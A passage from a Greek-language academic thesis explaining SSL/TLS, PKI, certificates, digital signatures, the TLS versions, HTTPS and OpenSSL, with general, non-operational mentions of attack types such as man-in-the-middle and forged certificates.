συστατικά του. 34

37 Σε κάθε τμήμα που επιλέγουμε μπορούμε να παρατηρήσουμε τα δεδομένα (είναι μαρκαρισμένα) που τους αντιστοιχούν, καθώς και τα ψηφία τους στον κώδικα ASCII. Παρακάτω φαίνεται η έκδοση πρωτοκόλλου, το μήκος και το μέγεθος της χειραψίας μαζί με τα δεδομένα τους. Στην συνέχεια παρατηρούμε τους αλγόριθμους που υποστηρίζει η σύνδεση. 35

38 Παρακάτω παρατηρούμε το πρωτόκολλο Record και τα στάδια επεξεργασίας των υπολοίπων πρωτοκόλλων. 36

39 Στο τέλος της διαδικασίας της χειραψίας ο πελάτης θα διαπιστώσει ότι στην γωνία του φυλλομετρητή του υπάρχει πλέον μια κλειδαριά. Η κλειδαριά υποδεικνύει ότι έχει συμφωνηθεί ένα ασφαλές πρωτόκολλο και είναι σε ισχύ από τον φυλλομετρητή και τον εξυπηρετητή [10]. Σχήμα : 3.a.4.a κλειδαριά έμβλημα https 3.a.5 Λειτουργία Στο SSL η επικοινωνία μεταξύ εξυπηρετητή και πελάτη κρυπτογραφείται μέσω των πιστοποιητικών. Αυτή η κρυπτογράφηση δημιουργεί κάποια εικονική πληροφορία η οποία δεν μπορεί να υποκλαπεί ή να τροποποιηθεί από άλλους. Η επικοινωνία που εγκαθίσταται μέσω του SSL/TLS προσφέρει ασφάλεια στην κυκλοφορία μεταξύ των εφαρμογών. Προσφέρεται έτσι κρυπτογράφηση των δεδομένων με αποτέλεσμα το ενδεχόμενο sniffing πακέτων να μην αποκαλύπτει τα πραγματικά δεδομένα, διαβεβαιώνοντας για την εμπιστευτικότητα στην ανταλλαγή μηνυμάτων. Το μήνυμα που ανταλλάσσεται επισυνάπτεται με έναν κώδικα αυθεντικοποίησης μηνύματος (MAC) πριν την κρυπτογράφηση [11]. Ως εκ τούτου διαβεβαιώνεται η ακεραιότητα του μηνύματος. 3.a.6 Ποιοι χρησιμοποιούν το SSL Το SSL είναι το καθορισμένο πρωτόκολλο για κρυπτογραφημένες και αυθεντικοποιημένες επικοινωνίες μεταξύ πελατών και εξυπηρετητών στο χώρο του διαδικτύου. Πρακτικά όλες οι αγορές και χρηματικές συναλλαγές που λαμβάνουν τόπο στο διαδίκτυο ασφαλίζονται από το SSL. Ωστόσο το SSL δεν περιορίζεται στο να ασφαλίζει συναλλαγές ηλεκτρονικού εμπορίου, αλλά και διάφορα άλλα πράγματα[12] : Τα χρηματοπιστωτικά ιδρύματα εφαρμόζουν το SSL για να εξασφαλίσουν τη μετάδοση των αριθμών PIN και άλλες εμπιστευτικές πληροφορίες λογαριασμών. Οι ασφαλιστικές εταιρείες εφαρμόζουν το SSL για την ασφαλή διαβίβαση εμπιστευτικών πληροφοριών πολιτικών των εταιρειών. Οργανισμοί που έχουν εγκαταστήσει Business-to - Business ( B2B ) extranets εφαρμόζουν το SSL για να εξασφαλίσουν τις συναλλαγές μεταξύ της εταιρείας και των συνεργατών της, τους προμηθευτές και τους πελάτες. 37

40 Ιδιωτικοί οργανισμοί εφαρμόζουν το SSL στα εσωτερικά δίκτυα τους για να μεταφέρουν εμπιστευτικά πληροφορίες από και προς τους εργαζόμενους. Πάροχοι εφαρμόζουν το SSL για να εξασφαλίσουν την ασφάλεια στο webmail για τους χρήστες. 3.a.7 Υπηρεσίες Ασφαλείας Όταν ένας πελάτης και ένας διακομιστής επικοινωνούν, το SSL διασφαλίζει ότι η επικοινωνία είναι κατ ιδίαν και ασφαλής προσφέροντας αυθεντικοποίηση κρυπτογράφηση και ακεραιότητα. αυθεντικοποίηση : επιβεβαιώνει ότι ο διακομιστής και κατ επιλογήν ο πελάτης είναι οι οντότητες που ισχυρίζονται ότι είναι. κρυπτογράφηση : δρα μέσα από μια ανταλλαγή κλειδιού που δημιουργεί ένα ασφαλές πέρασμα μεταξύ αυτών των δύο, το οποίο εμποδίζει οποιοδήποτε μη εξουσιοδοτημένο σύστημα από το να διαβάσει τα δεδομένα. ακεραιότητα : φροντίζει ώστε να υπάρξει εγγύηση ότι οποιοδήποτε μη εξουσιοδοτημένο σύστημα δεν μπορεί να τροποποιήσει την κρυπτογραφημένη ροή χωρίς να εντοπιστεί. 1. Πελάτες που χρησιμοποιούν το SSL όπως ο Mozilla ή ο Internet Explorer και διακομιστές όπως ο Apache ή ο Microsoft IIS επιβεβαιώνουν τις μεταξύ τους ταυτότητες χρησιμοποιώντας ψηφιακά πιστοποιητικά. Τα πιστοποιητικά αυτά εκδίδονται από έμπιστους τρίτους που ονομάζονται **Certificate Authorities (CAs) και παρέχουν πληροφορίες σχετικά με την ισχυριζόμενη ταυτότητα του εκάστοτε ατόμου, όπως επίσης και του δημόσιου κλειδιού τους. 2. Τα δημόσια κλειδιά αποτελούν συστατικό της κρυπτογράφησης δημόσιου κλειδιού. Ο αποστολέας ενός μηνύματος χρησιμοποιεί δημόσιο κλειδί ώστε να κρυπτογραφήσει δεδομένα. Ο δέκτης του μηνύματος μπορεί μόνο να αποκρυπτογραφήσει τα δεδομένα με το αντίστοιχο ιδιωτικό κλειδί. Τα δημόσια κλειδιά είναι γνωστοποιημένα σε όλους. Τα ιδιωτικά είναι μυστικά κλειδιά και γνωστά μόνο από τους κατόχους των πιστοποιητικών. 3. Με την επικύρωση των ψηφιακών υπογραφών των CA στα πιστοποιητικά, και τα δύο μέρη μπορούν να διασφαλίσουν ότι ένας απατεώνας δεν υπέκλεψε την μετάδοση και παρείχε ένα λανθασμένο δημόσιο κλειδί για το οποίο έχουν το αντίστοιχο σωστό ιδιωτικό κλειδί. 38

41 4. Το SSL χρησιμοποιεί εξίσου την κρυπτογράφηση δημόσιου κλειδιού και την κρυπτογράφηση συμμετρικού κλειδιού. Η κρυπτογράφηση συμμετρικού κλειδιού είναι πολύ πιο γρήγορη σε σχέση με αυτή του δημόσιου κλειδιού, αλλά η δεύτερη παρέχει καλύτερες τεχνικές αυθεντικοποίησης. Έτσι το SSL χρησιμοποιεί κρυπτογράφηση δημόσιου κλειδιού για αυθεντικοποίηση και για την ανταλλαγή συμμετρικών κλειδιών που χρησιμοποιούνται αργότερα για ογκώδη κρυπτογράφηση δεδομένων.η ασφαλής σήραγγα που δημιουργεί το SSL είναι ουσιαστικά μια κρυπτογραφημένη σύνδεση που διαβεβαιώνει ότι όλες οι πληροφορίες που στάλθηκαν μεταξύ ενός πελάτη και ενός εξυπηρετητή που χρησιμοποιούν SSL παραμένει ιδιωτική. Το SSL επιπλέον παρέχει ένα μηχανισμό για να εντοπισθεί εάν κάποιος αλλοίωσε τα δεδομένα κατά την μεταφορά τους. Αυτό επιτυγχάνεται με την βοήθεια ελέγχων ακεραιότητας του μηνύματος. Αυτοί οι έλεγχοι ακεραιτότητας διασφαλίζουν ότι η σύνδεση είναι αξιόπιστη. Εάν σε οποιαδήποτε σημείο κατά την διάρκεια της μετάδοσης το SSL εντοπίσει ότι η σύνδεση δεν είναι ασφαλής, τερματίζει την σύνδεση και ο πελάτης και ο διακομιστής εγκαθιστούν μια νέα ασφαλή σύνδεση[13]. 3.a.8 Εργαλεία του SSL Σε πολλές περιπτώσεις αρκετές από τις επιθέσεις καταφέρουν πλήγμα. Αυτό συμβαίνει επειδή η κρυπτογράφηση δημόσιου κλειδιού από μόνη της δεν παρέχει κανένα μέσο για την ανάπτυξη εμπιστοσύνης,όταν χρησιμοποιείται από μόνη της. Εδώ παίρνει την θέση της η Υποδομή Δημόσιου κλειδιού (PKI) ή οποία παρέχει τα μέσα για την εδραίωση της εμπιστοσύνης, δεσμεύοντας δημόσια κλειδιά και ταυτότητες, δίνοντας έτσι την βεβαιότητα ότι υπάρχει ασφαλής επικοινωνία μεταξύ αυτών που επικοινωνούν. 3.a.8.a Υποδομή Δημόσιου Κλειδιού (PKI) Η Υποδομή Δημόσιου κλειδιού (PKI) είναι μια σειρά πολιτικών και διαδικασιών για την εγκαθίδρυση μιας ασφαλούς ανταλλαγής πληροφοριών. Η υποδομή Δημόσιου κλειδιού δημιουργήθηκε από την ανάγκη για ασφαλές ηλεκτρονικό εμπόριο, καθώς επίσης και για παροχή ασφάλειας στο διαδίκτυο παρέχοντας τους ακρογωνιαίους λίθους της ασφάλειας [14] : Αυθεντικοποίηση Κρυπτογράφηση Μη-αποποίηση 39

42 Αποτελείται από τα εξής συστατικά : Ψηφιακά πιστοποιητικά : Ψηφιακές ταυτότητες που εκδίδονται από αξιόπιστες οντότητες με σκοπό την πιστοποίηση μηχανών και χρηστών. Δημόσια και Ιδιωτικά κλειδιά : Αποτελεί την βάση ενός PKI για ασφαλείς επικοινωνίες βασιζόμενο σε ένα μυστικό ιδιωτικό κλειδί και ένα μαθηματικά συσχετιζόμενο δημόσιο κλειδί. 3.a.8.a.1 Πιστοποιητικά Ένα πιστοποιητικό, με απλούς όρους, συνδέει ένα δημόσιο κλειδί με ένα διακεκριμένο όνομα. Το όνομα αυτό αναφέρεται σε ένα άτομο ή μια οντότητα που κατέχει το δημόσιο κλειδί με το οποίο σχετίζεται [10].Το πιστοποιητικό εκδίδεται από μία έγκυρη οντότητα και περιέχει πληροφορίες σχετικά με το υποκείμενο αλλά και πληροφορίες σχετικά με την οντότητα που το εξέδωσε. Επιπλέον περιέχει διασφαλίσεις που προορίζονται για την εξακρίβωση της αυθεντικότητας του πιστοποιητικού και στοχεύουν στον εντοπισμό πλαστογραφίας ή αλλοίωσης [13]. Τέλος είναι έγκυρο μόνο για ένα χρονικό διάστημα. Το πιστοποιητικό υπογράφεται με το ιδιωτικό κλειδί του εκδότη και περιέχει σχεδόν όλες τις απαραίτητες πληροφορίες για την επαλήθευσης της εγκυρότητας του. Περιέχει πληροφορίες σχετικά με: Το υποκείμενο Τον εκδότη Την περίοδο εγκυρότητας Σχήμα 3.a.8.a.1 : Στοιχεία πιστοποιητικού 40

43 Υπογράφοντας ένα πιστοποιητικό με το ιδιωτικό κλειδί του εκδότη, οποιοσδήποτε που κατέχει το δημόσιο κλειδί του εκδότη μπορεί να επαληθεύσει την αυθεντικότητα του. Για όσο χρονικό διάστημα μπορεί να θεωρηθεί ένας εκδότης ως έμπιστος, για τόσο χρόνο μπορεί να θεωρηθεί και το πιστοποιητικό που εκδίδει έμπιστο. Ορισμένες φορές στοιχεία, όπως το πιστοποιητικό του εκδότη ή το δημόσιο κλειδί μπορεί να περιέχονται σε ένα πιστοποιητικό που έχει εκδώσει. Ωστόσο κάτι τέτοιο δεν αρκεί για την αυθεντικοποίηση του πιστοποιητικού. Τέλος το πιστοποιητικό δημιουργείται με έναν μοναδικό σειριακό αριθμό, ενσωματωμένο σε αυτά, για κάθε εκδότη. 3.a.8.a.2 Αρχές Πιστοποίησης (Certification Authorities)(CA) Μια αρχή πιστοποίησης είναι ένας οργανισμός ή μια εταιρεία που εκδίδει πιστοποιητικά. Το κύριο μέλημα της είναι η διαβεβαίωση ότι τα πιστοποιητικά που εκδίδει είναι νόμιμα. Πρέπει να εξασφαλίζει ότι κάθε πιστοποιητικό το οποίο εκδίδει περιέχει ένα δημόσιο κλειδί που εκδόθηκε από την οντότητα που ισχυρίζεται ότι το εξέδωσε. Να είναι σε θέση να παρέχει αποδεκτά αποδεικτικά για κάθε πιστοποιητικό που εκδίδει. Οι αρχές πιστοποίησης διακρίνονται σε δύο κατηγορίες : Ιδιωτικές αρχές πιστοποίησης Δημόσιες αρχές πιστοποίησης. 3.a.8.a.3 Ιεραρχία Πιστοποιητικών Ένα πιστοποιητικό που έχει εκδοθεί από μια αρχή πιστοποίησης μπορεί να χρησιμοποιηθεί για να εκδώσει και να υπογράψει επιπλέον πιστοποιητικά εάν υπάρχουν και τα ανάλογα δικαιώματα να το πράξει. Με αυτό τον τρόπο δημιουργείται μια αλυσίδα στα πιστοποιητικά [10]. Στην αρχή της αλυσίδας βρίσκεται το πιστοποιητικό της αρχής πιστοποίησης. Λόγω του ότι η ρίζα CA βρίσκεται στην κορυφή της αλυσίδας, δεν υπάρχει άλλη αρχή για να υπογράψει το πιστοποιητικό της, συνεπώς το υπογράφει η ίδια. Ένα τέτοιο πιστοποιητικό είναι γνωστό ως self-signed πιστοποιητικό. 41

44 Σχήμα 3.a.8.a.3(1): Ιεραρχία Αρχών Πιστοποίησης [15] Σε κάθε ιστοσελίδα που παρέχεται SSL πιστοποιητικό μπορούμε να δούμε την ιεραρχία των Αρχών Πιστοποίησης όπως φαίνεται στο παρακάτω σχήμα. Σχήμα 3.a.8.a.3(2) : Ιεραρχία αρχών πιστοποίησης 3.a.8.a.4 Ψηφιακές υπογραφές Η ψηφιακή υπογραφή είναι ένας τρόπος που διευκολύνει την επαλήθευση της γνησιότητας των δεδομένων. Είναι στην ουσία στοιχεία που σχετίζονται με τα δεδομένα που πρόκειται να μεταφερθούν και βοηθούν στην γνησιότητα τους. Στην ψηφιακή υπογραφή το ένα κλειδί χρησιμεύει στην δημιουργία της υπογραφής, ενώ το άλλο στην επαλήθευση της. 42

45 Λειτουργία Ο αποστολέας χρησιμοποιεί κάποιον αλγόριθμο κατακερματισμού, δημιουργώντας έτσι την σύνοψη. Χρησιμοποιεί το ιδιωτικό του κλειδί για να κρυπτογραφήσει την σύνοψη που προέκυψε, δημιουργώντας έτσι μια ψηφιακή υπογραφή.για να βεβαιωθεί η ακεραιότητα του μηνύματος, κάθε μήνυμα που ανταλλάσσεται στο SSL συνδέεται με μια ψηφιακή υπογραφή. Η ψηφιακή υπογραφή είναι μια σύνοψη μηνύματος μαζί με πληροφορία δημόσιου κλειδιού [15]. Η σύνοψη του μηνύματος βασίζεται στο checksum του μηνύματος. H σύνοψη του μηνύματος είναι δύσκολο να αντιστραφεί. Και οι δύο πλευρές υπολογίζουν την σύνοψη του μηνύματος ξεχωριστά και συγκρίνουν τα συνοπτικά αποτελέσματα. Η αντιστοιχία των αποτελεσμάτων πιστοποιεί ότι το checksum έμεινε ανέπαφο κατά την μετάδοση, ελαχιστοποιώντας έτσι την πιθανότητα να έχει εκτεθεί το μήνυμα. Σχήμα 3.a.8.a.4 : Λειτουργία ψηφιακής υπογραφής Η διαδικασία είναι η εξής [15] : 1. Ο πελάτης στέλνει το μήνυμα 2. Ο πελάτης κατέχει ένα μήνυμα και το δημόσιο κλειδί 3. Ο πελάτης συνοψίζει το μήνυμα με το δημόσιο κλειδί 4. Ο εξυπηρετητής λαμβάνει τυχαίο μήνυμα και γνωρίζει το δημόσιο κλειδί 5. Ο εξυπηρετητής στέλνει το μήνυμα σύνοψης 6. Ο πελάτης συγκρίνει το δικό του μήνυμα σύνοψης με αυτό που έλαβε από τον εξυπηρετητή 7. Εάν αυτά τα δύο αντιστοιχούν μεταξύ τους, τότε το μήνυμα δεν έχει αλλοιωθεί. 43

46 3.a.9 Ζητήματα ασφαλείας στο SSL Ένα από τα προτερήματα του SSL είναι η ικανότητα του στο να εμποδίζει κοινές επιθέσεις [8]. Eίναι δυνατό σε επιθέσεις τύπου brute force, καθώς χρησιμοποιεί αλγορίθμους 128 bits. H επίθεση λεξικού (dictionary attack) που θεωρείται περισσότερο αποδοτική σε σχέση με την προηγούμενη, μπορεί επίσης να αποφευχθεί, καθώς το SSL χρησιμοποιεί πολύ μεγάλα key spaces. Οι επιθέσεις επανεκπομπής εμποδίζονται, καθώς το SSL χρησιμοποιεί 128-bit ψευδοτυχαίων τιμών για να υποδηλώσουν την μοναδικότητα της κάθε σύνδεσης. Πέραν από το γεγονός ότι το SSL έχει την δυνατότητα να εμποδίζει κάποιες κοινές επιθέσεις, παρατηρούνται επίσης ορισμένα τρωτά σημεία [8]. Ένα από αυτά είναι η πραγματοποίηση επιθέσεων τύπου brute force ενάντια σε αδύναμα ciphers. Αυτή η αδυναμία παραμένει μία από τις κυριότερες του πρωτοκόλλου και έχει παραβιαστεί πολλές φορές. Μια ακόμα αδυναμία στο SSL είναι η επαναδιαπραγμάτευση του κύριου κλειδιού. Μετά από την ίδρυση μιας σύνδεσης, το ίδιο κύριο κλειδί χρησιμοποιείται καθ όλη την διαδικασία της σύνδεσης, πράγμα που θεωρείται ως μείζον ζήτημα ασφαλείας σε περίπτωση που το SSL βρίσκεται κάτω από συνδέσεις μεγάλης διάρκειας. Το πρωτόκολλο SSL/TLS είναι ευάλωτο σε επιθέσεις Man-In-The-Middle [8]. 44

47 3.b Το πρωτόκολλο TLS 3.b.1 Ιστορικά Στοιχεία Τo πρωτόκολλο TLS (Transaction Layer Security) είναι ο διάδοχος του SSL. Το TLS είναι ένα Internet Engineering Task Force (IETF) standards track πρωτόκολλο, το οποίο καθορίστηκε το 1999 και αναβαθμίστηκε στα RFC 5246 (Αύγουστος 2008) και RFC 6176 (Μάρτιος 2011). Βασίζεται σε παλαιότερες προδιαγραφές του SSL (1994,1995,1996) και σχεδιάστηκε από τις επικοινωνίες Netscape [8] για την προσθήκη του HTTPS πρωτοκόλλου στο πρόγραμμα πλοήγησης του εξυπηρετητή τους. 3.b.2 TLS 1.0 Η έκδοση TLS 1.0 ορίστηκε για πρώτη φορά στο RFC 2246 τον Ιανουάριο του 1999 ως αναβάθμιση του SSL 3.0. Όπως αναφέρεται στο RFC «οι διαφορές μεταξύ αυτού του πρωτοκόλλου και του SSL 3.0 δεν είναι δραματικές, αλλά είναι σημαντικό να αποκλειστεί η λειτουργικότητα μεταξύ αυτών.» Η TLS 1.0 δεν περιλαμβάνει ένα μέσο με το οποίο η εφαρμογή TLS μπορεί να υποβαθμίσει την σύνδεση σε SSL 3.0, αποδυναμώνοντας έτσι την ασφάλεια. 3.b.3 TLS 1.1 Η έκδοση TLS 1.1 ορίστηκε στο RFC 4346 τον Απρίλιο του Πρόκειται για μια ενημερωμένη έκδοση του TLS 1.0. Σημαντικές διαφορές σε αυτή την έκδοση περιλαμβάνουν : Πρόσθετη προστασία ενάντια σε επιθέσεις τύπου Cipher Block Chaining (CBC). Η σιωπηρή Αρχικοποίηση Vector (IV) αντικαταστάθηκε με μια ρητή IV. Μεταβολή στο χειρισμό των λαθών padding. Υποστήριξη για IANA καταγραφή των παραμέτρων. 3.b.4 TLS 1.2 Η έκδοση TLS 1.2 καθορίστηκε στο RFC τον Αύγουστο του Βασίζεται στην έκδοση προδιαγραφή της έκδοσης 1.1. Οι κύριες διαφορές περιλαμβάνουν τα εξής [8] : Ο MD5-SHA-1 συνδυασμός στην ψευδοτυχαία συνάρτηση (PRF) αντικαταστάθηκε με τον SHA-256, με επιλογή την χρήση cipher suite καθοριζόμενα PRFs. 45

48 Ο MD5-SHA-1 συνδυασμός στο μήνυμα κατακερματισμού πέρατος αντικαταστάθηκε από τον SHA-256, με επιλογή την χρήση cipher suite specific αλγορίθμων κατακερματισμού. Ωστόσο το μέγεθος του κατακερματισμού στα μηνύματα πέρατος παραμένει ακόμα περικομμένο στα 96-bits. Ο MD5-SHA-1 συνδυασμός στο ψηφιακά υπογεγραμμένο στοιχείο αντικαταστάθηκε με μία ατομική hash η οποία διαπραγματεύτηκε κατά την διάρκεια χειραψίας, προεπιλεγμένο στον SHA-1. Ενισχύθηκε η ικανότητα του πελάτη και του εξυπηρετητή το να προσδιορίζει ποιον αλγόριθμο κατακερματισμού και ποια υπογραφή θα αποδεχτούν. Επέκταση της υποστήριξης για αυθεντικοποιημένα cipher κρυπτογράφησης, που χρησιμοποιούνται κυρίως για Galois / Counter Mode (GCM) και λειτουργία CCM της Advanced Encryption Standard encryption. Προστέθηκαν ορισμοί TLS επεκτάσεων και Advanced Encryption Standard cipher suites. [8] 3.b.5 Ανάλυση του πρωτοκόλλου TLS Το πρωτόκολλο TLS επιτρέπει σε εφαρμογές τύπου πελάτη-εξυπηρετητή να επικοινωνούν μέσω ενός δικτύου σε ένα δρόμο σχεδιασμένο,ώστε να εμποδίσει επιθέσεις τύπου eavesdropping και tampering.μιας και τα πρωτόκολλα είναι σε θέση να διεξαχθούν με ή χωρίς το TLS(ή το SSL), είναι αναγκαίο για τον πελάτη να υποδείξει στον εξυπηρετητή την εγκατάσταση μιας σύνδεσης TLS. Για την επίτευξη του εγχειρήματος αυτού υπάρχουν δύο δρόμοι : Ο ένας είναι να χρησιμοποιηθεί ένας διαφορετικός αριθμός πόρτας για συνδέσεις TLS (για παράδειγμα η πόρτα 443 για το HTTPS). Ο άλλος είναι από την πλευρά του πελάτη, να απαιτήσει ο εξυπηρετητής να αλλάξει την σύνδεση σε TLS χρησιμοποιώντας ένα μηχανισμό καθορισμένου πρωτοκόλλου. 3.b.6 Μέτρα ασφαλείας Το TLS έχει μια ποικιλία από μέτρα ασφαλείας [8] : Προστασία κατά της υποβάθμισης του πρωτοκόλλου σε μία προηγούμενη έκδοση (λιγότερο ασφαλή) ή ένα ασθενέστερο cipher suite. Αρίθμηση των μεταγενέστερων εγγραφών των εφαρμογών και χρήση αυτής της αρίθμησης στους κώδικες επικύρωσης μηνυμάτων (MAC). 46

49 Χρήση ενός digest μηνύματος ενισχυμένο με κλειδί (έτσι ώστε μόνο ο ιδιοκτήτης του κλειδιού να είναι σε θέση να ελέγξει τον κωδικό MAC ). Η κατασκευή HMAC χρησιμοποιείται περισσότερο από TLS cipher suites και καθορίζεται στο RFC 2104 Το μήνυμα που τερματίζει την χειραψία ( Finished ) στέλνει μια σύνοψη από όλα τα ανταλλαγμένα μηνύματα χειραψίας που θεάθηκαν και από τις δύο ομάδες. Η ψευδοτυχαία συνάρτηση χωρίζει τα δεδομένα εισόδου στο μισό και επεξεργάζεται το καθένα με έναν διαφορετικό αλγόριθμο κατακερματισμού (MD5 και SHA-1) και στην συνέχεια εφαρμόζει την πράξη XOR μεταξύ τους δημιουργώντας των αριθμό MAC. Αυτό παρέχει προστασία, ακόμη και αν ένας από αυτούς τους αλγορίθμους βρέθηκε να είναι ευάλωτος. 3.b.7 H διαφορά SSL-TLS Αν και υπάρχουν δύο ονόματα, ουσιαστικά πρόκειται για το ίδιο πρωτόκολλο. Λόγω της μέχρι τώρα εξοικείωσης, ίσως χρησιμοποιείται περισσότερο το όνομα SSL. Ωστόσο η χρήση του ονόματος διαφέρει ανάλογα τις περιστάσεις και τα δεδομένα [4]. 3.c Το πρωτόκολλο HTTPS Σχήμα 3.c : κλειδαριά https [44] 3.c.1 Ιστορικά στοιχεία Ο συνδυασμός του SSL/TLS με το πρωτόκολλο HTTP για μια ασφαλή επικοινωνία παίρνει το ακρωνύμιο HTTPS (Hypertext Transfer Protocol Secure). Σήμερα όλες οι πληροφορίες στο διαδίκτυο θεωρούνται ευαίσθητες, γι αυτό και επιβάλλεται η χρήση του πρωτοκόλλου Https. 47

50 Το πρωτόκολλο HTTPS διασφαλίζει την ασφαλή επικοινωνία, πιστοποιώντας την ταυτότητα των οντοτήτων που επικοινωνούν, προσφέροντας ασφάλεια στα δεδομένα που αποστέλλονται. Με σωστή παραμετροποίηση του πρωτόκολλου HTTPS επιτυγχάνεται γρήγορη και ασφαλής σύνδεση και ταυτόχρονα ιδιωτικότητα και αξιοπιστία στην επικοινωνία. Σχήμα 3.c.1 : Η διαφορά HTTP με HTTPS [45] 3.c.2 Τι προστατεύει το HTTPS Προστατεύει την ακεραιότητα της ιστοσελίδας. Η κρυπτογράφηση εμποδίζει τους εισβολείς από την παραποίηση δεδομένων που ανταλλάσσονται. Ουσιαστικά κρυπτογραφεί όλες τις πληροφορίες που αποστέλλονται ανάμεσα στον πελάτη και μια διαδικτυακή υπηρεσία. Προστατεύει την ιδιωτικότητα και παρέχει ασφάλεια στην χρήστη. Η κρυπτογράφηση εμποδίζει τους εισβολείς από το να «ακούν» τα δεδομένα που μεταφέρονται. Οποιαδήποτε μη ασφαλής αίτηση μπορεί να αποκαλύψει ευαίσθητες πληροφορίες σχετικά με τον χρήστη και όταν τέτοιες πληροφορίες συναθροιστούν, μετά από πολλές συνόδους μπορεί να χρησιμοποιηθούν για την αποκάλυψη πιο ευαίσθητων πληροφοριών[16]. Ενεργοποιεί ισχυρές δυνατότητες στο διαδίκτυο. 48

51 3.c.3 Τι δεν προστατεύει το HTTPS Το HTTPS προστατεύει το περιεχόμενο της σύνδεσης, δηλαδή την αίτηση/απόκριση. Ωστόσο δεν είναι σε θέση να προστατέψει πληροφορίες, όπως π.χ. η διεύθυνση IP, domains και subdomains που απορρέουν από την εγκατάσταση της σύνδεσης και το DNS resolution. 3.c.4 Επιθέσεις στο HTTPS Οι επιθέσεις σε συνδέσεις που χρησιμοποιούν το HTTPS διακρίνονται σε τρεις κατηγορίες[16] : Η έκθεση σε κίνδυνο της ποιότητας της σύνδεσης,μέσω της κρυπτανάλυσης ή άλλων αδυναμιών του πρωτοκόλλου. Η έκθεση σε κίνδυνο της μηχανής-πελάτη μέσω μιας εγκατάστασης κακόβουλου root πιστοποιητικού στο σύστημα ή με την browser trust store. Η απόκτηση ενός πλαστού πιστοποιητικού, το οποίο θα είναι αποδεκτό από φυλλομετρητές και μηχανές αναζήτησης (Διακύβευση έκδοσης πιστοποιητικών). Σχήμα 3.c.4: αναβάθμιση σε ασφαλή σύνδεση (HTTPS) 49

52 3.c.5 Λειτουργία Μια ιστοσελίδα εκτελεί το SSL χρησιμοποιώντας το HTTPS, το οποίο είναι το πρωτόκολλο Hypertext Transfer πάνω από το SSL. Αυτό το πρωτόκολλο σχεδιάστηκε από την Netscape για να κρυπτογραφεί και να αποκρυπτογραφεί αιτήσεις σελίδων, καθώς επίσης και σελίδες που έχουν επιστραφεί από τον εξυπηρετητή. Το HTTPS χρησιμοποιεί την πόρτα 443 εν αντιθέσει με την πόρτα 80 που χρησιμοποιείται από το HTTP. Το HTTPS όπως και το SSL υποστηρίζουν την χρήση των ψηφιακών πιστοποιητικών X.509 από τον εξυπηρετητή. Με αυτό τον τρόπο ο εκάστοτε χρήστης μπορεί να αυθεντικοποιήσει τον αποστολέα αν χρειαστεί. 3.c.5.1 Έναρξη σύνδεσης. Ένας agent που ενεργεί ως HTTP πελάτης, πρέπει να ενεργεί και ως TLS πελάτης. Θα πρέπει να ξεκινήσει μια σύνδεση με τον διακομιστή στην κατάλληλη θύρα και στη συνέχεια να στείλει το TLS ClientHello για να ξεκινήσει η TLS χειραψία. Όταν ολοκληρωθεί η TLS χειραψία, ο πελάτης είναι σε θέση να ξεκινήσει την πρώτη HTTP αίτηση. Όλα τα δεδομένα HTTP πρέπει να σταλθούν ως δεδομένα εφαρμογής TLS. Υπό αυτές της συνθήκες ακολουθεί μία κανονική HTTP λειτουργία συμπεριλαμβάνοντας και τις αδιανέμητες συνδέσεις [17]. 3.c.5.2 Λήξη σύνδεσης Το πρωτόκολλο TLS παρέχει μια εγκατάσταση για ασφαλή λήξη μιας σύνδεσης. Όταν ληφθεί ένας συναγερμός τερματισμού, τότε η εφαρμογή μπορεί να είναι βέβαιη ότι δεν θα ληφθούν περαιτέρω δεδομένα σε αυτή την σύνδεση. Οι εφαρμογές του πρωτοκόλλου TLS πρέπει να ξεκινήσουν μια ανταλλαγή προειδοποιητικών λήξης προτού τερματίσουν μια σύνδεση. Μια εφαρμογή πρωτοκόλλου TLS μπορεί, μετά από την αποστολή ενός συναγερμού τερματισμού, να κλείσει την σύνδεση χωρίς να περιμένει το peer να στείλει υπενθύμιση τερματισμού δημιουργώντας ένα ατελή τερματισμό. Η εφαρμογή που το εφαρμόζει αυτό μπορεί να επιλέξει να επαναχρησιμοποιήσει τη σύνοδο. Αυτό θα πρέπει να γίνεται μόνο όταν η εφαρμογή γνωρίζει (συνήθως μέσω της ανίχνευσης των HTTP ορίων των μηνυμάτων) ότι έχει λάβει όλα τα δεδομένα του μηνύματος που ενδιαφέρεται. Όπως καθορίζεται στο [RFC2246], οποιαδήποτε εκτέλεση που λαμβάνει μια λήξη σύνδεσης χωρίς προηγουμένως να λάβει έναν έγκυρο συναγερμό τερματισμού (έναν πρόωρο τερματισμό ), δεν πρέπει να επαναχρησιμοποιήσει αυτή τη σύνοδο. 50

53 Αξίζει να αναφερθεί ότι ένας πρόωρος τερματισμός δεν αμφισβητεί την ασφάλεια των δεδομένων που έχουν ήδη ληφθεί, αλλά δείχνει ότι τα επόμενα δεδομένα ενδέχεται να είναι ελλιπή. Επειδή το πρωτόκολλο TLS είναι επιλήσμον στις HTTP δεσμεύσεις αίτησης/απόκρισης, είναι σημαντικό να εξεταστούν τα δεδομένα του HTTP πρωτοκόλλου αυτού καθεαυτού, ώστε να καθοριστεί εάν συμβαίνει περικοπή μέσα σε ένα μήνυμα ή μεταξύ μηνυμάτων [17]. 51

54 3.d OpenSSL Σχήμα 3.d : Λογότυπο OpenSSL [46] Το OpenSSL είναι μια ανοιχτού κώδικα (open-source) βιβλιοθήκη κρυπτογράφησης που υλοποιεί το SSL/TSL πρωτόκολλο.βασίζεται στην βιβλιοθήκη SSLeay που αναπτύχθηκε από τους Eric A. Young και Tim J. Hudson. Χρησιμοποιείται ευρέως από λογισμικά εξυπηρετητών για να διευκολύνουν την επίτευξη ασφαλών συνδέσεων για ιστούς, s, συνδέσεις VPN και για διάφορες υπηρεσίες ανταλλαγής μηνυμάτων. Κυκλοφόρησε το 1998, έχοντας γίνει πλέον μία από τις πιο δημοφιλείς υλοποιήσεις του SSL στον κόσμο. To OpenSSL χρησιμοποιείται ευρέως. Ένας λόγος για αυτό είναι ότι έχει ενσωματωθεί σε διάφορα άλλα προϊόντα λογισμικού, όπως τα Apache και nginx. Και τα δύο χρησιμοποιούν το OpenSSL για την κρυπτογράφηση ιστοσελίδων. Η ομάδα διαχείρισης του OpenSSL αποτελείται από τέσσερα άτομα. Η ολοκληρωμένη ομάδα ανάπτυξης αποτελείται από έντεκα άτομα, δέκα εκ των οποίων συμμετέχουν εθελοντικά. Ο μοναδικός εργαζόμενος είναι ο Stephen Henson ο οποίος είναι ο lead developer. Η λειτουργία της ομάδας του OpenSSL επικεντρώνεται στο να βοηθήσουν στο φιλτράρισμα, καθώς και την οργάνωση προτεινόμενων 